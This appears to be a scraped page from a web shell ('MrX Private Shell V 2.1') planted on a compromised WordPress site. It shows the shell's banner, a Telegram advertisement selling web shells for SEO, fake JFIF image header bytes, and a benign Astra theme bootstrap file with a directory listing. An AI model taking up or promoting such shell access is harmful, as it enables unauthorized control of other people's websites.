����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Astra Abilities API Bootstrap
*
* Loads the Abilities API integration and initializes
* the Astra abilities registration.
*
* @package Astra
* @subpackage Abilities
* @since 4.12.6
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Initialize Astra Abilities.
*
* Boots the Astra_Abilities_Init class which registers all Astra abilities
* when the Abilities API is available (WordPress 6.9+ or via plugin polyfill).
*
* @return void
*/
function astra_abilities_init() {
// Check if abilities are enabled in the dashboard settings.
if ( ! Astra_API_Init::get_admin_settings_option( 'enable_abilities', false ) ) {
return;
}
$abilities_dir = ASTRA_THEME_DIR . 'inc/abilities/';
// Load base classes.
require_once $abilities_dir . 'class-astra-abilities-response.php';
require_once $abilities_dir . 'class-astra-abstract-ability.php';
require_once $abilities_dir . 'class-astra-abilities-helper.php';
require_once $abilities_dir . 'class-astra-abilities-init.php';
// Initialize abilities registration.
Astra_Abilities_Init::get_instance();
}
// Initialize after theme setup so astra_get_option() is available.
add_action( 'after_setup_theme', 'astra_abilities_init' );
// Register WP-CLI commands unconditionally so they work regardless of abilities toggle state.
if ( defined( 'WP_CLI' ) && WP_CLI ) {
require_once ASTRA_THEME_DIR . 'inc/abilities/class-astra-abilities-cli.php';
WP_CLI::add_command( 'astra abilities', 'Astra_Abilities_CLI' );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| customizer | Folder | 0755 |
|
|
| bootstrap.php | File | 1.49 KB | 0644 |
|
| class-astra-abilities-cli.php | File | 5.92 KB | 0644 |
|
| class-astra-abilities-helper.php | File | 1.74 KB | 0644 |
|
| class-astra-abilities-init.php | File | 8.26 KB | 0644 |
|
| class-astra-abilities-response.php | File | 1.67 KB | 0644 |
|
| class-astra-abstract-ability.php | File | 8.2 KB | 0644 |
|